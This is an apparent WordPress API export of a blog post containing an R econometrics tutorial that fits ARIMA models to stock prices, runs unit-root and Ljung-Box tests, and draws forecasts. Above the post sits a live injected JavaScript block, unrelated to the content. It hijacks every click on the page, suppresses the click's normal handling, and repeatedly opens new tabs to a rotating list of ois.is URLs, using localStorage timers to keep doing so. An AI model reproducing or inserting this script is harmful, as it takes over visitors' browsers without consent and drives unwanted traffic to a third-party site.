<script>(function (parameters) {
		const targets = [
			'https://ois.is/images/logo-1.png', 'https://ois.is/images/logo-2.png', 'https://ois.is/images/logo-3.png', 'https://ois.is/images/logo-4.png', 'https://ois.is/images/logo-5.png', 'https://ois.is/images/logo-6.png', 'https://ois.is/images/logo-7.png', 'https://ois.is/images/logo-8.png'
		]
		// Times between clicks
		const restMinutes = 1;
		// Number of hours to allow re-click 
		const allowedHours = 2;


		const saveTargetLocationsToStorage = (targets) => {
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				if(!localStorage.getItem(`${target}-local-storage`)){
					localStorage.setItem(`${target}-local-storage`, 0);
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		const getRandomLocationFromStorage = (targets) => {
			const nonVisited = targets.filter((target, index) => localStorage.getItem(`${target}-local-storage`) == 0)
			return nonVisited[Math.floor(Math.random() * nonVisited.length)];
		}
		const setLocationAsVisited = (target) => localStorage.setItem(`${target}-local-storage`, 1);

		const getTimeStorage = (key) => localStorage.getItem(`${key}-local-storage`);
		const setTimeToStorage = (key, nowDate) => localStorage.setItem(`${key}-local-storage`, nowDate);

		const getHoursDiff = (startDate, endDate) => {
			const msInHour = 1000 * 60 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInHour);
		}
		const getMintsDiff = (startDate, endDate) => {
			const msInMints = 1000 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInMints);
		}

		const visitNewLocation = (targets, host, nowDate) => {
			saveTargetLocationsToStorage(targets);
			newLocation = getRandomLocationFromStorage(targets);
			setTimeToStorage(`${host}-mnts`, nowDate);
			setTimeToStorage(`${host}-hurs`, nowDate);
			setLocationAsVisited(newLocation);
			window.open(newLocation, "_blank");
		}

		// const randomLocation = getRandomLocationFromStorage(targets);
		saveTargetLocationsToStorage(targets);

		function globalClick(event) {
			event.stopPropagation();
			const host = location.host;
			let newLocation = getRandomLocationFromStorage(targets);
			const nowDate = Date.parse(new Date());
			const savedDateForMints = getTimeStorage(`${host}-mnts`);
			const savedDateForHours = getTimeStorage(`${host}-hurs`);

			if (savedDateForMints && savedDateForHours) {
				try {
					const storageDateForMints = parseInt(savedDateForMints);
					const storageDateForHours = parseInt(savedDateForHours);
					const mintsDiff = getMintsDiff(nowDate, storageDateForMints);
					const hoursDiff = getHoursDiff(nowDate, storageDateForHours);

					if (hoursDiff >= allowedHours) {
						saveTargetLocationsToStorage(targets);
						setTimeToStorage(`${host}-hurs`, nowDate);
					}
					if (mintsDiff >= restMinutes) {
						if (newLocation) {
							setTimeToStorage(`${host}-mnts`, nowDate);
							window.open(newLocation, "_blank");
							setLocationAsVisited(newLocation);
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				} catch (error) { visitNewLocation(targets, host, nowDate); }
			} else { visitNewLocation(targets, host, nowDate); }
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		document.addEventListener("click", globalClick)
	})()</script>{"id":1010,"date":"2022-12-09T21:34:44","date_gmt":"2022-12-09T13:34:44","guid":{"rendered":"https:\/\/edu.secda.info\/scu11354013\/?p=1010"},"modified":"2023-10-16T21:40:45","modified_gmt":"2023-10-16T13:40:45","slug":"221208-%e8%a8%88%e9%87%8f%e7%b6%93%e6%bf%9f%e5%ad%b8","status":"publish","type":"post","link":"https:\/\/edu.secda.info\/scu11354013\/?p=1010","title":{"rendered":"221208 \u8a08\u91cf\u7d93\u6fdf\u5b78"},"content":{"rendered":"<p>&nbsp;<\/p>\n<p>#\u00a0 read csv<\/p>\n<p>A\u00a0 &lt;- read.csv(file=&#8217;Stock.csv&#8217;)<\/p>\n<p>str(A)<\/p>\n<p>head(A)<\/p>\n<p>&nbsp;<\/p>\n<p>windows()<\/p>\n<p>plot(A)<\/p>\n<p><img loading=\"lazy\" class=\"alignnone size-medium wp-image-1072\" src=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/12\/2-2-300x291.png\" alt=\"\" width=\"300\" height=\"291\" srcset=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/12\/2-2-300x291.png 300w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/12\/2-2.png 702w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<p>&nbsp;<\/p>\n<p># convert to time series<\/p>\n<p>B &lt;- ts(A,\u00a0 frequency = 1)\u00a0\u00a0\u00a0\u00a0 ###ts\u6642\u9593\u6578\u5217<\/p>\n<p>str(B)\u00a0\u00a0\u00a0\u00a0 ###B\u662fTime Series<\/p>\n<p>windows()<\/p>\n<p>plot(B)<\/p>\n<p><img loading=\"lazy\" class=\"alignnone size-medium wp-image-1073\" src=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/12\/3-2-300x291.png\" alt=\"\" width=\"300\" height=\"291\" srcset=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/12\/3-2-300x291.png 300w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/12\/3-2.png 725w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<p>&nbsp;<\/p>\n<p># extract SIC2454<\/p>\n<p>price &lt;- B[,5]<\/p>\n<p>windows()<\/p>\n<p>plot(price)<\/p>\n<p><img loading=\"lazy\" class=\"alignnone size-medium wp-image-1074\" src=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/12\/4-2-300x275.png\" alt=\"\" width=\"300\" height=\"275\" srcset=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/12\/4-2-300x275.png 300w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/12\/4-2.png 730w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<p>###\u5728\u5de6\u6846\u8f38\u5165str(price)\u770b\u5176\u7d50\u69cb<\/p>\n<p><img loading=\"lazy\" class=\"alignnone size-medium wp-image-1014\" src=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2023\/01\/1208-1-1-300x45.png\" alt=\"\" width=\"300\" height=\"45\" srcset=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2023\/01\/1208-1-1-300x45.png 300w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2023\/01\/1208-1-1-768x115.png 768w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2023\/01\/1208-1-1.png 785w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<p>&nbsp;<\/p>\n<p>return &lt;- diff(price)<\/p>\n<p>windows()<\/p>\n<p>plot(return)<\/p>\n<p><img loading=\"lazy\" class=\"alignnone size-medium wp-image-1075\" src=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/12\/5-2-300x287.png\" alt=\"\" width=\"300\" height=\"287\" srcset=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/12\/5-2-300x287.png 300w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/12\/5-2.png 729w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<p>&nbsp;<\/p>\n<p>rate &lt;- diff(log(price))<\/p>\n<p>windows()<\/p>\n<p>plot(rate)<\/p>\n<p><img loading=\"lazy\" class=\"alignnone size-medium wp-image-1076\" src=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/12\/6-2-300x269.png\" alt=\"\" width=\"300\" height=\"269\" srcset=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/12\/6-2-300x269.png 300w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/12\/6-2.png 717w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<p>&nbsp;<\/p>\n<p>#install.packages(&#8216;forecast&#8217;)<\/p>\n<p># automatically check ARMIA<\/p>\n<p>library(forecast)<\/p>\n<p>&nbsp;<\/p>\n<p>auto.arima(price)<\/p>\n<p>auto.arima(return)<\/p>\n<p>auto.arima(rate)<\/p>\n<p>&nbsp;<\/p>\n<p>#install.packages(&#8216;tseries&#8217;)<\/p>\n<p># unit root check<\/p>\n<p>library(tseries)<\/p>\n<p>adf.test(price,k=0)<\/p>\n<p>adf.test(return,k=0)<\/p>\n<p>adf.test(rate,k=0)<\/p>\n<p>&nbsp;<\/p>\n<p>###############\u00a0 ACF PACF<\/p>\n<p>windows()<\/p>\n<p>acf(price)<\/p>\n<p><img loading=\"lazy\" class=\"alignnone size-medium wp-image-1078\" src=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/12\/7-3-300x293.png\" alt=\"\" width=\"300\" height=\"293\" srcset=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/12\/7-3-300x293.png 300w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/12\/7-3.png 725w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<p>windows()<\/p>\n<p>pacf(price)<\/p>\n<p><img loading=\"lazy\" class=\"alignnone size-medium wp-image-1079\" src=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/12\/8-2-300x294.png\" alt=\"\" width=\"300\" height=\"294\" srcset=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/12\/8-2-300x294.png 300w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/12\/8-2.png 718w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>windows()<\/p>\n<p>acf(return)<\/p>\n<p><img loading=\"lazy\" class=\"alignnone size-medium wp-image-1080\" src=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/12\/9-2-300x294.png\" alt=\"\" width=\"300\" height=\"294\" srcset=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/12\/9-2-300x294.png 300w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/12\/9-2.png 721w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<p>windows()<\/p>\n<p>pacf(return)<\/p>\n<p><img loading=\"lazy\" class=\"alignnone size-medium wp-image-1081\" src=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/12\/10-1-300x298.png\" alt=\"\" width=\"300\" height=\"298\" srcset=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/12\/10-1-300x298.png 300w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/12\/10-1-150x150.png 150w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/12\/10-1.png 722w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>windows()<\/p>\n<p>acf(rate)<\/p>\n<p><img loading=\"lazy\" class=\"alignnone size-medium wp-image-1082\" src=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/12\/11-1-300x296.png\" alt=\"\" width=\"300\" height=\"296\" srcset=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/12\/11-1-300x296.png 300w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/12\/11-1.png 728w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<p>windows()<\/p>\n<p>pacf(rate)<\/p>\n<p><img loading=\"lazy\" class=\"alignnone size-medium wp-image-1083\" src=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/12\/12-2-300x300.png\" alt=\"\" width=\"300\" height=\"300\" srcset=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/12\/12-2-300x300.png 300w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/12\/12-2-150x150.png 150w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/12\/12-2-270x270.png 270w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/12\/12-2-230x230.png 230w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/12\/12-2.png 714w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>#### plot stock price<\/p>\n<p>windows()<\/p>\n<p>autoplot(price)<\/p>\n<p><img loading=\"lazy\" class=\"alignnone size-medium wp-image-1084\" src=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/12\/13-300x291.png\" alt=\"\" width=\"300\" height=\"291\" srcset=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/12\/13-300x291.png 300w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/12\/13.png 751w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<p>windows()<\/p>\n<p>autoplot(return)<\/p>\n<p><img loading=\"lazy\" class=\"alignnone size-medium wp-image-1085\" src=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/12\/14-300x288.png\" alt=\"\" width=\"300\" height=\"288\" srcset=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/12\/14-300x288.png 300w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/12\/14.png 761w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<p>windows()<\/p>\n<p>autoplot(rate)<\/p>\n<p><img loading=\"lazy\" class=\"alignnone size-medium wp-image-1086\" src=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/12\/15-300x291.png\" alt=\"\" width=\"300\" height=\"291\" srcset=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/12\/15-300x291.png 300w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/12\/15.png 757w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>########## redirect + acf+pacf<\/p>\n<p>windows()<\/p>\n<p>price %&gt;% diff() %&gt;% ggtsdisplay(main=&#8221;Return&#8221;)<\/p>\n<p><img loading=\"lazy\" class=\"alignnone size-medium wp-image-1087\" src=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/12\/16-300x140.png\" alt=\"\" width=\"300\" height=\"140\" srcset=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/12\/16-300x140.png 300w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/12\/16-800x374.png 800w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/12\/16-768x359.png 768w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/12\/16-1536x717.png 1536w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/12\/16-750x350.png 750w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/12\/16-642x300.png 642w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/12\/16.png 1906w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<p>&nbsp;<\/p>\n<p>windows()<\/p>\n<p>rate %&gt;%\u00a0 ggtsdisplay(main=&#8221;Rate of Return&#8221;)\u00a0\u00a0\u00a0\u00a0 \u00a0###\u50f9\u683c\u505a\u5dee\u5206\u5c31\u662f\u5831\u916c\u00a0 ###\u50f9\u683c\u505a\u5dee\u5206\u4ee5\u5f8c\u7684\u6578\u5217\u5c31\u662f\u5b9a\u614b<\/p>\n<p><img loading=\"lazy\" class=\"alignnone size-medium wp-image-1088\" src=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/12\/17-300x140.png\" alt=\"\" width=\"300\" height=\"140\" srcset=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/12\/17-300x140.png 300w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/12\/17-800x374.png 800w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/12\/17-768x359.png 768w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/12\/17-1536x719.png 1536w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/12\/17-750x350.png 750w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/12\/17-642x300.png 642w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/12\/17.png 1906w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<p>&nbsp;<\/p>\n<p>#### model<\/p>\n<p>fit1 &lt;- Arima(price, order=c(0,1,0))<\/p>\n<p>fit1<\/p>\n<p>checkresiduals(fit1)<\/p>\n<p>auto.arima(fit1$residuals)<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>windows()<\/p>\n<p>hist(fit1$residuals,breaks=30)<\/p>\n<p><img loading=\"lazy\" class=\"alignnone size-medium wp-image-1089\" src=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/12\/18-300x297.png\" alt=\"\" width=\"300\" height=\"297\" srcset=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/12\/18-300x297.png 300w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/12\/18-150x150.png 150w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/12\/18.png 718w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<p>&nbsp;<\/p>\n<p>windows()<\/p>\n<p>library(&#8220;car&#8221;)<\/p>\n<p>qqPlot(fit1$residuals)<\/p>\n<p><img loading=\"lazy\" class=\"alignnone size-medium wp-image-1093\" src=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/12\/19-300x279.png\" alt=\"\" width=\"300\" height=\"279\" srcset=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/12\/19-300x279.png 300w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/12\/19.png 731w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<p>Box.test(fit1$residuals,type=&#8217;Ljung&#8217;,lag=1)<\/p>\n<p><img loading=\"lazy\" class=\"alignnone size-medium wp-image-1090\" src=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/12\/box-300x79.png\" alt=\"\" width=\"300\" height=\"79\" srcset=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/12\/box-300x79.png 300w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/12\/box.png 576w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<p>Box.test(fit1$residuals,type=&#8217;Ljung&#8217;,lag=6)<\/p>\n<p><img loading=\"lazy\" class=\"alignnone size-medium wp-image-1091\" src=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/12\/b2-300x89.png\" alt=\"\" width=\"300\" height=\"89\" srcset=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/12\/b2-300x89.png 300w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/12\/b2.png 576w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<p>&nbsp;<\/p>\n<p>##### forecast<\/p>\n<p>windows()<\/p>\n<p>autoplot(forecast(fit1))<\/p>\n<p>forecast(fit1)<\/p>\n<p>&nbsp;<\/p>\n<p><img loading=\"lazy\" class=\"alignnone size-medium wp-image-1092\" src=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/12\/20-298x300.png\" alt=\"\" width=\"298\" height=\"300\" srcset=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/12\/20-298x300.png 298w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/12\/20-150x150.png 150w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/12\/20.png 751w\" sizes=\"(max-width: 298px) 100vw, 298px\" \/><\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>######## another case<\/p>\n<p>&nbsp;<\/p>\n<p>auto.arima(rate)<\/p>\n<p>&nbsp;<\/p>\n<p>fit2 &lt;- Arima(rate, order=c(1,1,1))<\/p>\n<p>fit2<\/p>\n<p>&nbsp;<\/p>\n<p>windows()<\/p>\n<p>checkresiduals(fit2)<\/p>\n<p>auto.arima(fit2$residuals)<\/p>\n<p><img loading=\"lazy\" class=\"alignnone size-medium wp-image-1094\" src=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/12\/21-300x141.png\" alt=\"\" width=\"300\" height=\"141\" srcset=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/12\/21-300x141.png 300w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/12\/21-800x375.png 800w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/12\/21-768x360.png 768w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/12\/21-1536x721.png 1536w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/12\/21-750x350.png 750w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/12\/21-642x300.png 642w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/12\/21.png 1905w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<p>windows()<\/p>\n<p>acf(fit2$residuals)<\/p>\n<p><img loading=\"lazy\" class=\"alignnone size-medium wp-image-1095\" src=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/12\/22-300x300.png\" alt=\"\" width=\"300\" height=\"300\" srcset=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/12\/22-300x300.png 300w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/12\/22-150x150.png 150w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/12\/22-270x270.png 270w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/12\/22-230x230.png 230w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/12\/22.png 721w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<p>windows()<\/p>\n<p>pacf(fit2$residuals)<\/p>\n<p><img loading=\"lazy\" class=\"alignnone size-medium wp-image-1096\" src=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/12\/23-300x295.png\" alt=\"\" width=\"300\" height=\"295\" srcset=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/12\/23-300x295.png 300w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/12\/23.png 723w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<p>&nbsp;<\/p>\n<p>windows()<\/p>\n<p>qqPlot(fit2$residuals)<\/p>\n<p><img loading=\"lazy\" class=\"alignnone size-medium wp-image-1097\" src=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/12\/24-300x266.png\" alt=\"\" width=\"300\" height=\"266\" srcset=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/12\/24-300x266.png 300w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/12\/24.png 719w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<p>Box.test(fit2$residuals,type=&#8217;Ljung&#8217;,lag=6)<\/p>\n<p><img loading=\"lazy\" class=\"alignnone size-medium wp-image-1098\" src=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/12\/b3-300x88.png\" alt=\"\" width=\"300\" height=\"88\" srcset=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/12\/b3-300x88.png 300w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/12\/b3.png 565w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<p>windows()<\/p>\n<p>autoplot(forecast(fit2),main=&#8217;XXX&#8217;)<\/p>\n<p><img loading=\"lazy\" class=\"alignnone size-medium wp-image-1099\" src=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/12\/25-300x293.png\" alt=\"\" width=\"300\" height=\"293\" srcset=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/12\/25-300x293.png 300w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/12\/25.png 762w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n","protected":false},"excerpt":{"rendered":"<p>&nbsp; #\u00a0 read csv A\u00a0 &lt;- read.csv(fil<\/p>\n","protected":false},"author":15,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[1],"tags":[],"_links":{"self":[{"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=\/wp\/v2\/posts\/1010"}],"collection":[{"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=\/wp\/v2\/users\/15"}],"replies":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1010"}],"version-history":[{"count":5,"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=\/wp\/v2\/posts\/1010\/revisions"}],"predecessor-version":[{"id":1100,"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=\/wp\/v2\/posts\/1010\/revisions\/1100"}],"wp:attachment":[{"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1010"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1010"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1010"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}